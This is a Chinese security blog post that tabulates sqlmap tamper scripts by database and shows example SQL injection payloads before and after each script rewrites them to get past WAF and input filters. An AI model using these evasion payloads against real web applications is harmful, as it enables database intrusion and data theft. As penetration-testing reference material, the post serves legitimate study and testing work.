• 欢迎访问挑战自我博客网站,安全研究,web渗透,推荐使用最新版火狐浏览器和Chrome浏览器访问本网站,欢迎加入挑战自我博客网站 网站主页

sqlmap绕过过滤的tamper脚本分类汇总

tool 挑战自我 1150次浏览 已收录 0个评论

1、工具介绍

sqlmap是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定的URL的SQL注入漏洞

目前支持的数据库是MSSQL、MYSQL、ORACLE以及POSTGRESQL。

SQLMAP采用四种独特的SQL注入技术,分别是盲注、UNION查询注入、堆查询、基于时间的SQL盲注入。

其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。

在许多情况下你可以通过使用sqlmap工具中的tamper脚本来对目标进行更高效的攻击。

 

2、工具脚本汇总

本文旨在介绍sqlmap中的tamper插件

sqlmap绕过过滤的tamper脚本分类汇总
支持的数据库脚本名称作用实现方式
ALLapostrophemask.py用utf8代替引号(“1 AND ‘1’=’1”)
‘1 AND %EF%BC%871%EF%BC%87=%EF%BC%871’
base64encode.py用base64编码替换(“1′ AND SLEEP(5)#”)
‘MScgQU5EIFNMRUVQKDUpIw==’
multiplespaces.py围绕SQL关键字添加多个空格(‘1 UNION SELECT foobar’)
‘1    UNION     SELECT   foobar’
space2plus.py用+替换空格(‘SELECT id FROM users’)
‘SELECT+id+FROM+users’
nonrecursivereplacement.py双重查询语句。取代predefined SQL关键字with表示
suitable for替代(例如  .replace(“SELECT”、””)) filters
(‘1 UNION SELECT 2–‘)
‘1 UNIOUNIONN SELESELECTCT 2–‘
space2randomblank.py代替空格字符(“”)从一个随机的空
白字符可选字符的有效集
(‘SELECT id FROM users’)
‘SELECT%0Did%0DFROM%0Ausers’
unionalltounion.py替换UNION ALL SELECT UNION SELECT(‘-1 UNION ALL SELECT’)
‘-1 UNION SELECT’
securesphere.py追加特制的字符串(‘1 AND 1=1’)
“1 AND 1=1 and ‘0having’=’0having'”
MSSQLspace2hash.py绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’)‘1 AND 9227=9227’
‘1–nVNaVoPYeva%0AAND–ngNvzqu%0A9227=9227’
equaltolike.pylike 代替等号* Input: SELECT * FROM users WHERE id=1
2 * Output: SELECT * FROM users WHERE id LIKE 1
space2mssqlblank.py(mssql)空格替换为其它空符号Input: SELECT id FROM users
Output: SELECT%08id%02FROM%0Fusers
space2mssqlhash.py替换空格(‘1 AND 9227=9227’)
‘1%23%0AAND%23%0A9227=9227’
between.py用between替换大于号(>)(‘1 AND A > B–‘)
‘1 AND A NOT BETWEEN 0 AND B–‘
percentage.pyasp允许每个字符前面添加一个%号* Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
sp_password.py追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾(‘1 AND 9227=9227– ‘)
‘1 AND 9227=9227– sp_password’
charencode.pyurl编码* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
randomcase.py随机大小写* Input: INSERT
* Output: InsERt
charunicodeencode.py字符串 unicode 编码* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
space2comment.pyReplaces space character (‘ ‘) with comments ‘/**/’* Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users
MYSQLequaltolike.pylike 代替等号* Input: SELECT * FROM users WHERE id=1
2 * Output: SELECT * FROM users WHERE id LIKE 1
greatest.py绕过过滤’>’ ,用GREATEST替换大于号。(‘1 AND A > B’)
‘1 AND GREATEST(A,B+1)=A’
apostrophenullencode.py绕过过滤双引号,替换字符和双引号。tamper(“1 AND ‘1’=’1”)

‘1 AND %00%271%00%27=%00%271’

ifnull2ifisnull.py绕过对 IFNULL 过滤。
替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’
(‘IFNULL(1, 2)’)
‘IF(ISNULL(1),2,1)’
space2mssqlhash.py替换空格(‘1 AND 9227=9227’)
‘1%23%0AAND%23%0A9227=9227’
modsecurityversioned.py过滤空格,包含完整的查询版本注释(‘1 AND 2>1–‘)
‘1 /*!30874AND 2>1*/–‘
space2mysqlblank.py空格替换其它空白符号(mysql)Input: SELECT id FROM users
Output: SELECT%0Bid%0BFROM%A0users
between.py用between替换大于号(>)(‘1 AND A > B–‘)
‘1 AND A NOT BETWEEN 0 AND B–‘
modsecurityzeroversioned.py包含了完整的查询与零版本注释(‘1 AND 2>1–‘)
‘1 /*!00000AND 2>1*/–‘
space2mysqldash.py替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)(‘1 AND 9227=9227’)
‘1–%0AAND–%0A9227=9227’
bluecoat.py代替空格字符后与一个有效的随机空白字符的SQL语句。
然后替换=为like
(‘SELECT id FROM users where id = 1’)
‘SELECT%09id FROM users where id LIKE 1’
percentage.pyasp允许每个字符前面添加一个%号* Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
charencode.pyurl编码* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
randomcase.py随机大小写* Input: INSERT
* Output: InsERt
versionedkeywords.pyEncloses each non-function keyword with versioned MySQL comment* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
space2comment.pyReplaces space character (‘ ‘) with comments ‘/**/’* Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users
charunicodeencode.py字符串 unicode 编码* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
versionedmorekeywords.py注释绕过* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#
* MySQL < 5.1halfversionedmorekeywords.py关键字前加注释* Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa
* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’=’QDWa
halfversionedmorekeywords.py当数据库为mysql时绕过防火墙,每个关键字之前添加
mysql版本评论
1.(“value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa”)
2.”value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND ‘QDWa’=’QDWa”
MySQL >= 5.1.13space2morehash.py空格替换为 #号 以及更多随机字符串 换行符* Input: 1 AND 9227=9227
* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
 Oraclegreatest.py绕过过滤’>’ ,用GREATEST替换大于号。(‘1 AND A > B’)
‘1 AND GREATEST(A,B+1)=A’
apostrophenullencode.py绕过过滤双引号,替换字符和双引号。tamper(“1 AND ‘1’=’1”)

‘1 AND %00%271%00%27=%00%271’

between.py用between替换大于号(>)(‘1 AND A > B–‘)
‘1 AND A NOT BETWEEN 0 AND B–‘
charencode.pyurl编码* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
randomcase.py随机大小写* Input: INSERT
* Output: InsERt
charunicodeencode.py字符串 unicode 编码* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
space2comment.pyReplaces space character (‘ ‘) with comments ‘/**/’* Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users
 PostgreSQLgreatest.py绕过过滤’>’ ,用GREATEST替换大于号。(‘1 AND A > B’)
‘1 AND GREATEST(A,B+1)=A’
apostrophenullencode.py绕过过滤双引号,替换字符和双引号。tamper(“1 AND ‘1’=’1”)

‘1 AND %00%271%00%27=%00%271’

between.py用between替换大于号(>)(‘1 AND A > B–‘)
‘1 AND A NOT BETWEEN 0 AND B–‘
percentage.pyasp允许每个字符前面添加一个%号* Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
charencode.pyurl编码* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
randomcase.py随机大小写* Input: INSERT
* Output: InsERt
charunicodeencode.py字符串 unicode 编码* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
space2comment.pyReplaces space character (‘ ‘) with comments ‘/**/’* Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users
Microsoft Accessappendnullbyte.py在有效负荷结束位置加载零字节字符编码(‘1 AND 1=1’)
‘1 AND 1=1%00’
其他chardoubleencode.py双url编码(不处理以编码的)* Input: SELECT FIELD FROM%20TABLE
* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
unmagicquotes.py宽字符绕过 GPC  addslashes* Input: 1′ AND 1=1
* Output: 1%bf%27 AND 1=1–%20
randomcomments.py用/**/分割sql关键字‘INSERT’ becomes ‘IN//S//ERT’

 


挑战自我博客, 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权 , 转载请注明sqlmap绕过过滤的tamper脚本分类汇总
喜欢 (5)
支付宝[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址